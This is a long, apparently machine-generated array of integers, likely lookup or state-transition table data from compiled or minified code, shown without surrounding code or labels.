345,2345,2345,5024,2345,2345,4147,2345,2345,4258,2345,2345,2339,3845,2345,3726,3911,3122,3918,2345,4757,2345,4949,2345,2961,2974,2978,3641,3718,2988,2996,2722,3003,3008,2345,2998,4205,2345,2952,2345,2345,3697,2345,3015,4630,3021,3029,3033,2412,2991,2723,3040,3497,2345,2951,2956,2345,5067,4831,2345,3623,2964,3050,4101,2345,3156,3059,2345,2345,5115,3712,2387,4578,2345,5120,2458,2509,4221,2345,5107,2345,3202,2763,3060,2345,2345,2345,3733,2345,2951,2733,2345,4755,4856,3111,4236,2557,3086,2345,2348,3162,2345,2345,2527,3154,2345,2345,2347,3161,2345,2345,4684,3167,3432,4676,3096,2345,2345,2345,2345,2472,3106,2345,2345,2345,2345,2346,3105,2345,2345,2345,4878,3110,3119,2345,5067,4832,4234,3023,3126,4109,3602,3171,3176,2345,4069,3180,2345,4170,3176,2345,2345,3187,2345,4682,3217,4094,3257,3196,3972,3190,2345,3974,2345,3251,3209,2345,3973,2345,3214,3218,3223,3227,3231,4192,2345,3229,2345,3237,3606,3242,3246,4319,3250,3238,3230,3255,3261,3266,3266,3266,3274,3278,3262,3262,3262,3285,3289,4198,3290,4959,3294,4246,5038,3298,3302,3306,3316,3322,3329,2345,2345,2345,2345,3926,2345,2345,2875,3333,3337,4593,3342,3347,4397,3357,3361,3365,3366,3366,3370,2345,4118,3376,2345,4445,3382,4945,3392,2721,3398,2829,3406,3410,3417,3424,3004,3431,3947,2345,3426,2345,2345,3115,3658,4038,4560,2345,2345,2345,2345,2345,2345,2345,2650,2345,2345,2454,2345,2345,2345,4867,3100,3100,3100,3100,3101,2398,2398,2398,2398,2545,2359,2359,2359,2359,2359,2464,2419,2419,2419,2419,2419,2395,2470,4119,2345,2345,3437,3706,3578,3394,4115,2345,5085,3441,3522,4170,3451,2345,2345,3132,3489,2345,2345,2345,2345,3143,3495,2345,2345,2345,2345,4516,3484,2345,4070,3455,2345,2345,2345,4071,3456,2345,2345,2345,3460,3464,2345,2345,2345,3098,3100,3100,3100,3100,3100,2397,2398,2398,2398,2398,2398,2480,4118,3830,2345,3469,3584,3579,3476,4935,4215,3011,2345,2345,4515,3483,2345,2345,3191,2898,2345,2345,2345,2892,2345,2345,2345,2897,2345,2345,2345,3963,3232,2345,2345,2345,2345,3517,3490,2345,2345,2345,2345,4515,3520,2345,2345,2345,2345,3982,2345,3526,3585,3535,4117,2786,2345,2345,3541,2345,2345,2345,2345,4530,3545,2345,2345,2345,2345,3541,2345,2345,2345,2345,2456,2345,2345,4910,3100,3100,3100,3100,2476,2398,2398,2398,4531,3232,2345,2345,2345,3560,3565,3576,4115,3204,3583,2345,5095,2345,2345,2345,3163,3064,2345,2345,2345,2345,3219,3071,2345,2345,2345,2345,3157,5054,2345,2345,2345,5094,2345,2345,2345,5053,2345,2345,2345,3590,3966,3561,2345,2521,3137,2345,2345,3754,2981,3141,5078,4842,4667,2967,3147,2528,3155,2345,2751,5076,2686,5082,4996,5091,5099,2345,2345,5072,2345,2345,5105,2345,2345,4450,3818,2345,3825,2345,2460,3835,3839,2345,2345,2345,4069,3843,2345,4928,2345,3443,2345,3828,2345,4052,3148,2345,2386,3114,3150,4047,3149,3635,3635,4052,3113,3150,3150,3150,3980,3634,3112,3635,4053,3622,3635,3150,4974,4976,3627,4978,3631,3640,2345,2345,2345,2345,4428,3779,3723,2345,3595,3645,3649,4091,3655,3663,3667,3671,3675,3679,3680,3684,2345,2801,3689,2345,4841,3695,4295,2763,3350,3199,3691,5040,3485,3701,4584,3465,3705,4823,3710,3716,2345,2345,2802,3690,2345,4616,4756,3722,3731,3957,3201,3737,3750,3759,2345,3940,3766,2345,2345,2345,3312,4745,4749,4761,4765,4769,4773,4777,4781,4785,4788,4792,4795,3504,3232,2345,2345,2345,3505,2345,2345,2345,2646,3772,2345,2345,2345,4427,3778,2345,4164,4095,2345,3785,4903,2651,2345,3753,2345,2345,3793,2345,2345,2345,2345,3098,3100,3100,3100,3100,2398,2398,2398,2398,2478,2359,2359,2345,3797,2345,2345,2345,2345,2345,3801,2345,2345,2345,2345,2345,3805,2345,2345,3846,2810,5004,2345,2345,2345,2345,4151,2345,2815,2820,2833,4077,2838,3850,2345,2345,2345,2345,4737,2345,3855,2458,4716,3837,3863,2345,2345,3172,3871,3924,2345,2340,2345,2345,4149,2345,2339,3845,3723,3089,3789,2345,3930,4129,2345,2776,3914,4135,2728,2345,2345,2345,2345,3210,2345,2784,3082,3938,2345,2790,5046,2345,3935,2345,3944,2730,3877,2345,3352,2732,3955,2731,4157,4157,4157,3351,2732,2732,2732,3531,4156,4716,4157,4718,3878,4157,2732,2345,2345,2345,2345,3851,2345,2345,2345,2345,2345,3850,2345,2345,2345,2345,2345,2345,2345,3612,2663,2345,2345,2345,2345,2345,2345,2345,3780,3961,2345,2345,3920,3970,3978,3986,3990,3994,3998,4001,4005,4007,4011,2345,2345,2345,4015,2345,3606,4752,4107,3553,4020,4024,4643,4888,4028,2345,4851,2811,4032,4826,4037,4042,4046,2345,2345,4016,2345,3746,4051,3551,3877,4057,3636,4570,4063,2345,2345,2345,2780,2345,2345,2345,2510,4067,4105,2924,4156,4113,2386,4123,4538,2345,2345,2635,4127,2345,2345,2345,2345,2641,4133,2345,2345,2345,2345,2778,4181,2345,2457,2345,2345,4984,5025,2345,4139,2345,2855,3611,2345,2857,2345,2345,3386,2345,2856,2345,2345,3830,3616,2345,3445,2345,4145,2345,4670,3724,4155,3572,3114,4161,2345,2345,2345,3472,2729,2345,2345,2345,2345,2842,2345,2345,2345,2345,3081,2846,2345,2345,2345,2345,2345,2739,2692,3821,2749,2757,2345,2761,2767,2345,2771,4802,2345,4185,3077,3725,4231,3041,4220,2345,5087,2729,2345,2345,2911,4134,2345,2345,4172,2345,2345,2345,2354,3845,2345,3723,3606,2458,3787,3901,2345,3781,3537,4190,2345,2345,2910,4196,3378,3685,3607,4673,4202,2823,2345,4033,2729,2345,3931,2956,2345,3925,4214,4219,4225,4240,4244,4264,2345,4250,2345,4252,2345,2345,4256,2345,4251,3343,4538,4228,4262,2345,4270,3353,2345,4610,2345,3183,3130,2345,2345,2345,2346,3136,2345,2345,2345,2345,3183,3130,2345,2345,2673,2345,2345,2677,3814,2690,2696,2700,2704,2708,2712,2716,3744,2727,4275,4284,4288,4419,2668,3659,2733,4292,4308,4420,3556,3556,3556,4317,3530,4421,4335,4323,3555,3529,3568,3025,2669,3556,4330,4339,4341,4333,4326,4345,4349,4351,2345,2345,2345,2345,3897,2992,2345,4313,4355,4359,4390,4363,4367,4371,4375,4379,4381,4383,2345,2345,2345,4937,4387,4657,4394,4401,4460,2827,4636,4599,4278,4407,4411,5122,3727,4426,4432,2345,4440,4449,2345,2345,4938,3774,2657,4454,4458,3325,2345,3053,4464,4468,2345,2345,2345,5128,4474,2345,2345,2345,4482,2345,2345,4271,2888,2345,2345,2345,2345,3233,2345,2345,2345,4962,2864,3650,2893,2345,3727,4483,2345,2345,2345,3055,4487,4494,2345,2345,3890,4311,2433,2446,3618,2826,4186,5066,4947,2733,2345,2345,2345,3413,4500,2345,2345,2345,2345,3420,2800,4414,4622,4520,3318,2345,2970,5060,2345,2345,2345,2377,4524,2345,2345,2345,2345,3869,2345,2345,2345,2345,4171,3876,2345,2345,2345,4069,3870,2345,4952,4311,2443,4535,2827,3865,3433,2345,2345,2345,2379,4543,2345,2345,2345,3858,2345,2345,2345,2345,3859,2345,2345,2345,2957,3045,2345,2345,2377,4548,2345,2345,2345,2345,3281,4553,2345,2345,2345,2378,4549,4470,2345,4558,2440,4564,3203,4831,2345,2345,2377,4568,2345,2345,2345,3951,2345,2345,2345,4574,2345,4640,2345,4069,4647,2560,4651,4661,2345,4680,4539,4642,5031,2345,5014,4688,4830,4815,4403,3883,4642,4692,4628,4816,4696,4696,4702,4830,4706,4714,4714,4722,2414,2449,3808,4731,2414,4906,2450,4735,4725,4727,4741,4829,2345,2345,2345,2345,3925,2345,2772,3501,4141,3509,4115,4215,3074,2345,2345,3513,4799,2345,2345,2345,2345,4809,3015,4813,4820,4967,2388,2680,4210,4836,4554,2345,3372,2345,2345,3384,2345,2345,3372,2345,2345,2856,2345,2345,3589,3594,3599,4708,3872,4840,4846,2345,4710,4855,2345,2345,4544,4860,2834,3742,4965,3080,4872,4877,4882,2345,2345,2345,2345,3606,4886,2345,2345,2345,3478,4892,2345,2345,2345,3882,2663,2459,3092,3887,2345,2345,3894,2345,2345,2345,2355,2345,3479,2345,2345,2345,2345,4897,3616,2345,2345,4544,4915,3035,4280,2918,3446,4873,4698,4926,2345,2345,2345,2345,2345,4932,2345,2345,2345,2345,3606,4942,2345,2345,4435,3377,3907,2902,2345,4489,2729,2345,3651,2902,2345,3192,2909,2345,4994,5020,5001,3205,5011,2345,2345,2345,2345,2741,2745,2345,2345,2345,2345,4170,4608,2345,2345,4614,4989,4620,4626,3755,4950,2345,4634,2345,5013,2345,2744,2345,2345,2345,2345,2345,2743,2345,2345,2345,2345,2345,2743,4900,2345,4501,4915,3036,5018,3447,3864,5029,2345,2345,2345,4170,5035,2345,2345,2345,2345,4303,5044,2345,2345,2345,2345,5050,2345,2345,2345,2345,4304,4900,2345,3811,3740,4997,5058,5064,2345,2345,2345,5071,2345,2345,2345,3269,2345,2345,2345,4297,4301,2345,3402,2800,2345,2345,2345,2345,3401,4528,2345,2345,2345,2345,3401,4528,4470,4299,2345,2345,3270,2345,5111,4997,4577,2345,2345,2753,2345,4893,5116,2345,2752,2491,2458,2345,5126,2345,2345,2345,2345,2345,2345,2345,2345,2345,2345,2345,2345,2345,2345,2345,2345,2661,3388,2667,2345,7267,5893,5132,5144,5141,5151,5153,5153,5153,5153,5148,5176,5152,5153,5153,5153,5159,5163,5176,5153,5153,5169,5164,5153,5180,5155,5154,5168,5151,6159,5173,5199,5205,5205,5205,5209,5209,5201,5213,5217,5220,5224,5228,5245,5232,5242,5234,5238,5236,5249,5252,7269,7026,5260,5273,5276,5276,5276,5255,5821,5295,5276,5276,5276,5276,5268,5730,6588,6270,5301,5276,5276,5254,6597,5821,6646,6646,6646,6646,5394,5396,5325,5449,5322,5396,5396,5325,5276,5384,5428,5333,5409,5274,5276,5276,5276,5286,5290,7174,5276,6844,7218,6005,5276,5276,5276,6390,6115,6646,6647,5323,5396,5397,5400,5428,5428,5428,5428,6645,6646,6646,5398,5400,5428,5345,6844,7217,5353,5276,5266,5276,5276,5388,7455,5457,5396,5396,5396,5396,5276,5399,5402,6779,5408,6667,5275,5276,5275,5276,5276,6239,5276,6839,5410,6667,5275,5276,5275,6561,5276,5275,6839,6843,7454,7155,5276,5276,7229,5276,5276,6466,5276,5276,6526,5276,5276,5276,5302,5276,5276,6646,5393,5396,5396,5396,5400,5407,6668,5276,5276,5268,6066,5402,5428,5428,5428,5429,6646,6646,6646,5395,5396,5396,5396,5326,5368,5419,5276,5276,5276,5305,5401,5428,5428,5428,5430,6646,5427,5428,5428,5428,6644,6646,6646,5402,5387,5276,5276,5276,5307,6771,6646,5394,5396,5396,5398,5427,5276,5276,5268,6630,5397,5403,5276,5276,5269,5731,6036,5400,5400,5402,5428,6644,5402,5428,5428,6643,6646,5368,5400,5427,6643,6646,6646,6646,5396,5396,5396,5397,5387,6646,5395,5324,5368,5276,5999,5276,5276,7234,6237,5276,6239,6237,5401,6643,5393,5324,5415,5434,5460,5464,5463,5462,5461,5326,7445,6108,6418,5509,5541,5438,5442,5508,5508,5508,5508,5486,5515,5454,5468,5472,5491,5543,5496,5508,5508,5538,5446,5582,5487,5506,5581,5513,5475,5519,5535,6805,6808,5547,6811,6814,6815,6816,5551,5554,5558,5569,5573,5579,5492,5586,5590,5594,5598,5605,5604,5601,5609,5613,5561,6981,5276,5276,5276,5308,5312,7372,5276,5276,5276,5309,7137,5276,5276,5276,5329,5276,6389,5276,5276,6557,5276,6391,5276,5276,5275,5276,6392,6392,5276,5276,5279,5276,6282,5276,5276,5276,5366,5276,6e3,6885,5910,7281,5626,5297,5629,5276,5276,7348,5276,5276,7354,5276,5276,5276,5631,5640,5899,5276,5647,5276,6987,5263,5186,5654,5657,5659,5660,5664,5668,5673,5672,5677,5679,5680,5680,5684,5686,5693,5688,5700,5688,5697,5689,5704,5276,5276,7355,5276,5276,5276,5648,6027,6933,6281,5898,5276,5276,5276,5367,5276,5276,5276,5368,5400,5708,6023,5276,5276,5281,7411,7471,7426,5276,5276,6043,5135,5276,5276,5281,7468,6467,5276,5716,5276,5276,5721,6061,5339,5276,5276,5304,5276,5341,5737,5745,5751,5749,5276,5276,5276,5369,6219,5751,5276,5276,5306,5310,6765,5276,5276,6988,5276,6526,5277,6886,6113,5784,5276,5793,7239,5808,5855,5812,5831,7055,5318,5276,5276,5276,5372,5348,7452,5827,5832,7056,5137,5276,5276,5276,5376,5368,5276,6525,5276,5414,5276,7452,7443,5276,5276,7419,6200,5276,5925,5276,5276,5276,7249,5717,5276,5276,5276,5387,5795,7243,5854,5845,7241,5851,5855,5846,7242,5852,5856,5317,5850,5854,5845,5898,5860,5276,5276,5276,5388,6362,5276,5854,5876,5318,5276,5276,7441,6519,7240,5851,5855,5877,5898,5881,5839,5276,5276,5370,5276,5276,5853,5885,5318,5276,5276,7452,6134,7239,6135,5854,5886,5898,6404,5870,6865,5276,5276,6117,5869,6864,5898,5276,6867,5276,5276,5276,5617,6117,5890,6866,5276,5276,5276,5620,6857,5276,6719,6723,5276,5276,7455,6886,6721,5898,5276,5276,5373,5276,5914,5276,5898,7023,5934,5938,5942,5945,5948,5949,5949,5950,5954,5954,5954,5954,5954,5958,5961,5276,5277,5921,5930,5276,6659,6079,5966,6872,6872,5276,5276,5276,5650,6487,5276,5711,6194,7445,7444,5368,5276,6e3,6525,5276,7025,5302,6259,5276,5370,5979,6510,5997,5276,6523,5276,5276,6660,6080,5967,5898,6890,5997,5276,6889,5276,5276,5276,5841,6010,5276,6606,5276,5276,5276,5822,6016,5276,5276,5276,5787,5276,6605,6017,5276,5277,5962,6001,7450,5276,5276,5276,5826,5831,5712,6195,7052,5276,5368,5276,5276,5366,5369,6121,5276,6513,5276,6559,5276,5276,5386,5282,5276,6093,5276,5276,5276,5864,6029,5276,5276,5276,5896,6848,5998,5276,6523,6792,5276,5276,6397,7112,6033,6047,6053,5898,5276,6034,6048,6054,5276,5278,5281,6211,6035,6049,6055,5276,5278,5909,5276,5279,6836,6888,5276,5276,5276,7452,5761,6526,6233,6268,5276,5280,5303,6536,5276,6268,6140,6038,6070,5276,5276,5400,5400,5400,5400,5401,6066,6588,6039,5894,5276,7456,5276,5276,5276,6002,5276,5276,5276,5975,5277,6078,6084,5367,6266,7445,6236,5999,6524,5276,6100,6037,6070,5276,5276,5477,5481,6630,6587,6090,5894,5276,6080,6086,5276,5276,5478,5482,6099,5276,5276,5276,6003,5276,5276,6036,6107,5276,5276,5276,6072,6033,6588,6106,5276,5276,5276,6073,6085,5276,5276,7023,6099,5276,5276,5281,6583,5728,5732,6105,5894,5729,5733,6106,5276,5281,6629,6586,5727,5731,6104,6108,5276,5276,5276,6117,5890,5371,6e3,6125,6268,6456,5276,6388,5276,5276,5276,6523,5276,7417,6416,5276,5276,5276,6119,5276,6524,6525,6659,6322,5276,5276,5276,6074,5363,7445,5276,5370,6e3,6236,5276,6320,5799,5803,5276,5276,5276,6127,6319,5798,5802,5276,5276,6321,5276,7260,7446,5368,6001,6320,5799,5801,5276,5276,6319,5797,5276,7073,5276,7258,7447,5276,7447,5302,7075,5803,5276,5276,7072,7076,5276,5281,7468,7477,5276,5276,7073,7260,7446,5276,7074,5802,5276,5285,5289,7173,6339,7258,7447,6339,7077,5276,6117,7076,5276,6342,5276,6117,6342,6139,6117,6200,6978,5276,6978,5276,6978,5276,7445,6197,5276,6237,6722,5276,5276,5372,7365,6199,6197,5276,6199,5276,5925,7445,6198,6198,6198,5276,5276,5926,6198,5276,6896,6896,5389,6536,5368,5525,6145,5276,5276,5276,6133,6358,5367,5276,5276,6198,6537,6199,6536,6200,5276,6537,5276,5276,5276,6480,6167,6152,6171,6175,6179,6181,6185,6185,6181,6189,6189,6189,6189,6189,6191,5276,5276,5564,6363,6206,5276,5276,5276,6199,6200,6251,5898,5276,5276,5565,5371,5276,5276,5575,6934,6200,5276,7454,5803,7356,5276,6293,5276,5804,5276,5287,5291,7160,7066,6196,5276,5285,6217,6223,7106,6232,5276,5287,7149,7129,6243,5276,7260,5276,5288,7150,7141,6257,5276,5789,5276,5276,5276,6202,6263,5276,5276,5276,6201,5367,5369,5387,6274,6253,5278,6018,5276,5276,5642,5276,5276,5276,6388,6113,5193,6286,6935,6040,6287,6936,6041,5276,5276,5191,5195,6288,6937,6042,5276,5276,5276,6226,5385,6114,6252,5276,5307,5311,5315,7420,7354,5276,5276,5739,7397,7403,6298,6329,5803,5276,5276,6006,6299,6330,5276,5276,5276,6265,6300,6331,5276,5276,5753,5752,5387,6275,5897,5276,5328,6552,6547,5803,6197,7453,7421,6267,6392,5479,6312,6329,5276,6458,5480,6313,6330,5276,5276,5764,5276,5385,6246,6253,5276,5363,5367,5276,5276,6536,6317,6267,5276,5276,5276,5621,6392,7412,6327,6332,6301,5803,5276,5276,5815,7444,6522,5276,5276,5375,5276,5276,5365,5276,5276,5916,5276,5276,5276,6294,5368,5386,6336,5276,5365,5276,6535,5276,6820,7444,5276,5276,6519,6308,5276,6198,5276,7452,5280,5276,5276,5276,6307,6197,5276,6843,5276,6356,6250,6678,5276,5276,5276,6368,5276,6844,5894,5276,5369,5998,6524,5276,5276,5276,5277,6208,6362,5276,5276,5276,6371,5276,6846,5276,5276,5898,5276,6005,5276,5276,6005,5276,5276,6846,6004,6002,6846,6005,6005,6005,5276,5276,6004,5276,5276,6005,6847,5276,5276,5995,6375,5894,5276,6520,6383,5276,5276,5276,6404,5871,6112,7024,6387,6111,5276,5276,5276,5363,6401,6761,6409,6972,6429,6432,6433,6434,6438,6438,6438,6438,6441,6443,6444,6444,6451,6451,6451,6451,6448,6452,5276,5276,5276,6425,5348,6566,5276,5276,5276,6463,6370,6494,5276,5276,5973,5276,5362,6468,5276,6469,6475,5276,5276,5276,6519,5276,6484,5276,5276,6e3,5389,6228,6477,5276,5276,6012,5276,6112,5276,5276,5276,6520,5276,5276,5276,6396,5304,6197,5276,5276,6060,6059,5276,6499,6507,5276,5386,5283,5276,5276,6395,5276,5276,5279,6208,6518,5276,5276,5359,5276,5276,5276,6524,5276,5276,6534,6534,5276,5388,5276,5284,6546,6618,5276,5276,6109,5903,6553,6548,5276,5276,6116,5998,5349,6567,5276,5276,5276,6392,6611,5305,6199,5276,6537,6265,5276,6236,6525,5276,6830,6573,5818,5276,6831,5501,5819,5276,6832,5502,5820,6830,5500,5818,5276,5422,6847,5276,5522,7448,5276,5636,6001,5998,6565,5276,5276,5276,6525,5276,5276,7449,6887,6493,5276,5641,6843,5276,5276,5276,6237,6537,5276,6268,6140,5276,6390,5276,6459,6571,6577,5821,5276,5276,5276,6657,5276,7285,5499,6578,5276,5276,6886,5279,5276,5649,6028,6094,5276,6458,5276,5276,5276,6526,7024,6877,5256,6579,5276,5276,5276,6528,6598,5276,5276,5276,6536,5276,6592,5276,5276,5276,6620,5276,6391,6459,5276,5739,7123,6938,5281,6583,6579,5276,5741,7125,6332,6602,5276,6459,5276,5741,7125,6522,5276,6404,5871,5280,5276,5302,5276,5757,5276,5356,6392,6526,5276,5276,6118,5279,6610,5276,5276,5276,6783,5367,6615,5276,5276,5276,6784,5276,6919,6923,5276,5777,5276,5276,5327,6542,5280,6537,6266,5276,5788,6264,5276,5288,7184,7189,5276,5277,5276,5367,5276,6268,6141,6712,6424,5276,5276,6126,5898,5276,5276,5632,6626,6634,5276,5276,6131,6414,6108,5276,5276,6395,5276,6844,5276,5276,5917,5276,6521,5276,6395,6522,6729,6846,5276,5375,6502,6651,6664,6672,6682,6685,6689,6693,6693,6693,6695,6697,6697,6697,6697,6701,6702,6702,6702,6703,6707,5276,6711,6423,5276,5276,5276,6735,5276,6716,5276,7351,5276,6727,5276,7420,6268,6969,6745,5276,5276,5276,6785,5450,5276,5276,5276,6793,6743,6094,5276,6750,6751,5276,5276,5276,6844,6212,5276,5276,5276,6847,5276,5276,6755,5276,5276,6238,5276,6524,6798,6267,6759,6771,6766,5276,5276,5276,6877,5194,6287,5276,7275,5276,5276,6248,5276,5276,6776,6772,6767,6790,5276,6792,5276,5907,5276,6269,5894,7260,7023,5276,5276,5276,6111,6392,6422,6847,5276,6100,5276,6888,5276,5276,6521,5276,5276,6194,7446,5368,7418,5276,5276,6293,5276,5276,5276,6269,6206,7033,6523,6797,6266,5312,5316,5276,5276,5276,6921,5313,5317,5276,5276,5276,6933,6792,6791,5276,5276,6305,5304,6420,6424,5276,5276,6319,6922,5276,5276,6118,5276,5374,5276,5276,6535,5276,5276,7034,7452,6826,5276,5908,5278,6495,5276,6519,5276,5276,5276,5281,5255,6598,5276,7033,5863,6828,6852,5314,5318,5276,5276,6913,5276,5276,5276,6958,6858,5318,5276,5276,6321,5800,6857,5317,5276,5276,6340,5802,6535,5276,6862,5276,6022,5753,5276,5278,5276,5276,7210,5276,6871,5276,5276,5276,7191,6199,6200,5276,5276,5276,7042,6425,5276,5276,6876,6887,5276,5367,6820,7444,5276,6002,5276,6194,7052,5276,6637,6520,5276,6536,5276,6822,5276,5276,6341,5276,7204,5276,5276,5276,7203,5367,5276,6786,5276,5276,6392,6921,6821,5276,5276,6904,5276,5276,6388,6391,6480,5276,5276,5276,7239,5276,6478,5367,5276,6095,5276,5276,6394,5276,6897,5276,5276,6883,6535,5276,5371,6904,5364,5276,6894,5276,6110,5276,5276,5981,7461,7451,5276,5276,5276,5983,7470,5990,5283,6536,6901,5276,6114,5276,6001,6911,5374,6535,5368,5803,5276,6392,6412,5369,5276,5276,5366,5364,6537,6364,5364,5276,5367,5371,5366,5364,5276,5276,6536,5365,5276,5366,5276,5366,5367,6538,6538,6538,5773,5767,5769,5771,5771,5772,5276,7445,5183,5276,5282,5917,7454,6113,6917,6942,7063,5336,6951,6962,6966,5531,6992,6995,6995,6998,7003,7002,7002,7004,7008,7009,7015,7013,7013,7013,7013,7019,7022,7030,5276,5276,6115,5375,5528,6927,5276,7445,6842,7453,6149,6156,6163,7038,6983,5276,5276,6392,7229,5277,5276,5276,7046,7060,5276,7070,5276,6116,5999,5276,6117,5276,5276,5364,5276,5276,5276,7240,7085,5276,5276,5276,7337,5349,5276,6906,7086,5276,6117,5368,5276,5276,6907,5276,7090,5276,6120,5276,5368,5389,6113,7094,5276,5276,5276,7338,6840,5276,6782,7444,6985,5276,5896,5276,6197,5276,5276,7024,5276,7104,5277,5276,5276,6947,6946,5276,6378,5276,5276,5276,7356,5276,5276,7356,6396,7111,7118,6379,5276,7119,6094,5276,5276,6405,5872,5898,6956,6954,5276,5276,6422,6847,7144,5276,5276,5276,7363,5285,5289,7113,7142,5286,7148,7114,7143,6201,5367,5276,5276,6458,5480,6298,7452,7154,5276,5895,5290,7159,7164,5318,7066,5318,5276,5276,6458,5481,6301,6676,5276,5276,6199,5276,5276,5276,6879,7180,5276,5276,5276,7364,5290,7174,7179,5276,5276,7178,5276,5276,5276,7380,5740,7169,5276,5276,6467,5276,6677,6197,5276,5924,7196,6975,5276,5276,6467,7049,5285,7195,7185,6391,6116,5276,5276,5276,7208,7454,5276,5276,6473,6477,6526,5276,7449,5276,6197,6520,5276,7446,5276,5375,7224,5276,5276,5276,7381,7214,5276,5276,5276,7408,7223,6847,5276,5276,6479,5276,7222,6425,5276,6201,6886,6492,7200,5276,6237,5276,5276,6841,6675,5276,5276,5387,5276,5276,6488,5276,6878,6781,5276,5276,6514,5276,5276,6879,7230,5276,5276,5276,7446,7228,5276,5276,6249,7452,5276,5389,5276,6198,6197,5276,6e3,5276,6238,5276,6524,6201,5276,6201,7449,5276,6193,7445,5276,5280,6209,6213,5276,6520,5276,5281,6065,6587,6879,7455,5276,5276,6525,6526,6659,6079,7450,5276,6395,7455,6621,6847,5276,7238,5276,6622,5276,5276,6526,7416,5276,6622,5276,7247,6620,7455,5276,5276,6530,5276,7391,6527,6621,6847,5276,5276,6537,5276,5276,6536,6621,6847,7455,5387,5388,6847,5388,7344,5276,5276,7229,7453,5386,5423,5389,5276,5276,6593,5276,5388,5276,5386,5388,7253,5276,7258,7446,6196,5276,5363,5276,6210,6887,5276,5894,5276,5276,5276,5971,7257,5276,5916,6640,7264,6258,5276,5189,5276,7260,5916,7259,6503,7097,7283,7273,5724,7100,7135,7279,6930,7132,7289,7293,7302,7295,7297,7306,7298,7317,7310,7311,7315,7318,7326,7326,7328,7324,7322,7332,7335,5276,6218,5750,5276,5276,7362,7366,7364,7342,5276,6467,5389,5281,5276,5276,6621,5276,5276,6393,5276,5915,5276,6227,6476,5276,5377,6746,5276,5386,5276,5276,5276,7449,5276,5276,7360,7370,7376,7385,5276,5276,5276,7450,5276,5276,6529,7386,5276,6265,5276,5276,5378,6094,7392,5276,5276,5276,7451,7342,7445,6201,5276,6266,5276,5276,5382,5400,5400,5400,5427,6389,6113,5276,5276,6235,6234,5276,5276,5276,7457,5276,6526,6716,7433,7396,7402,5276,5276,6733,6739,7403,5276,5276,5276,7466,7408,7398,7404,6844,5276,6847,5276,6267,6140,5276,5388,7230,5276,5414,5400,5400,5400,5428,7342,7447,7451,5276,6268,5276,6237,6268,5276,5276,7356,6110,6268,5276,5276,5276,5643,7409,5986,7425,5276,6292,5276,5276,5740,7124,7030,7410,5987,7426,5276,6306,5305,5276,5276,6201,5276,5276,5276,5739,7168,7411,5988,7427,5276,6323,7446,6117,5276,5371,5276,5276,7454,5276,6887,5276,5985,5989,6236,6846,6003,5276,6004,5276,6004,6002,5276,6845,5276,5276,5276,6802,5311,6560,7449,5276,5276,5281,7200,5276,6393,5276,7452,5276,5276,5276,6388,6113,5276,6233,5836,5898,5276,5276,7387,5868,7434,5276,5276,5276,6877,7228,6201,5276,7452,5962,5276,5276,5276,6853,5315,5898,5276,5276,7431,5276,5276,5276,6878,7229,5984,7471,5991,5276,6340,5803,5276,5780,5276,5990,5276,5276,5276,6920,5821,5982,7469,5989,5276,6346,6351,5276,5276,6388,6113,5276,5276,6946,5276,5276,7438,5276,5276,7024,5276,5276,5276,7467,7476,5276,5276,7477,5276,5276,5276,7025,5276,7450,5276,5388,5281,6279,5276,5276,5622,5315,5276,6389,6114,5276,6347,6352,5276,5276,5276,7444,5276,5276,5276,6945,7466,7475,5276,5276,7041,5276,5631,5276,5388,5282,7466,7462,5276,5276,5276,7040,5276,5276,5276,7081,5276,5303,5276,5276,5276,7110,6654,0,0,1075838976,2097152,-1845493760,0,0,2147483648,16777216,4194560,4196352,270532608,2097152,2097152,268435456,4194432,16777216,4194432,3145728,541065216,-2143289344,4194304,4194304,4194304,4194304,541065216,4194304,4194304,4194432,37748736,-1606418432,541065216,541065216,541065216,541065216,4194304,4194304,4196352,-1606418432,-1606418432,541065216,541065216,4194304,4198144,541065216,541065216,-2143289344,-2143289344,8425488,4194304,4194304,4194304,1,32768,0,2147483648,16,33554432,33554432,0,2,4,112,128,256,3584,16384,37748736,742391808,239075328,775946240,775946240,775946240,171966464,171966464,171966464,171966464,239075328,171966464,775946240,239075328,4718592,64,4718592,2097216,4720640,541589504,4194368,541589504,4194400,4194368,-2142763008,541589504,541065280,4194368,4194368,541065312,541065280,-2143289280,4194368,-2143285408,-2143285408,-2143285440,-2143285440,-2143285440,-2143285440,-1605890240,-2142761152,-2109731008,-1606414528,-2142761152,-1606414528,-2143285440,-2143285440,-1606414528,-1606414528,-2143285440,-2109731008,776470528,-1908404416,775946304,-1908404416,2,4,8,16,512,1024,4194304,128,128,0,2147483648,524288,5242880,2147483648,0,0,2,12,64,256,2048,2048,0,0,0,0,1,0,0,0,2,0,0,0,3,4,16,224,256,512,1024,16777216,16777216,0,0,2147483648,65536,1792,0,0,0,8,0,0,0,12,32,64,1024,2048,57344,262144,50331648,268435456,1073741824,2147483648,0,0,1536,64,524352,524352,524352,0,0,0,62,64,128,64,262144,1048576,0,2147483648,2097152,0,-2113929216,0,0,-1979711488,-1912602624,64,64,1048576,128,256,2048,262144,524288,4096,1024,1024,0,-570425344,32505856,0,0,48,25165824,0,0,0,33554432,268435456,0,0,0,524288,0,0,0,32,0,0,0,44,64576,319029248,0,524288,524288,524288,0,64,0,0,0,64,0,96,96,96,524352,524352,524352,524352,524288,524288,524288,524288,64,64,0,64,128,128,128,128,2048,2048,0,0,524288,524288,64,64,128,2048,0,0,64,128,8388608,524288,64,64,64,64,32,96,64,96,96,524352,96,160,1056,262176,1048608,2097184,4194336,536870944,40,262176,32,96,0,0,0,60,40,48,1120,96,96,64,524352,0,524288,64,96,524352,0,524288,4195360,6291488,2097184,2097184,4194336,4194336,4194336,32,56,0,4,16,32,64,128,256,1536,2048,40,262184,40,40,40,40,40,262176,32,32,6292512,4195360,2097184,32,128,1792,8192,16384,131072,524288,4195104,6292512,32,32,32,32,4,40,262184,32,32,34,34,262184,40,4196128,32,262144,524288,0,0,64,256,0,2097152,135790592,131073,4,393233,262184,34,42,32,524320,32,1073872896,32,32,40,1120,96,1056,4194336,32,2098208,-322695456,-322695456,-322695456,-322695456,-322597152,-320598176,-322597152,-322597144,-321548576,-320598168,-322597144,-321548568,-37482773,0,0,64,1536,32768,-322588952,-321548568,-322588952,-321548568,-322597144,32,0,32,64,65536,0,96,32,32,56,262184,40,41,262184,32,42,224,40,262176,42,106,293601323,293601323,293863467,293699627,293617707,293716011,293702203,293702203,293702203,297896507,293702203,293702203,293702203,293702267,293964347,293702267,297896507,293964347,297896507,297896507,-322597144,-37744981,0,32,524288,0,0,64,2048,16384,32768,0,0,262144,65536,262144,262144,0,4096,0,8,0,2,65536,262656,328192,0,0,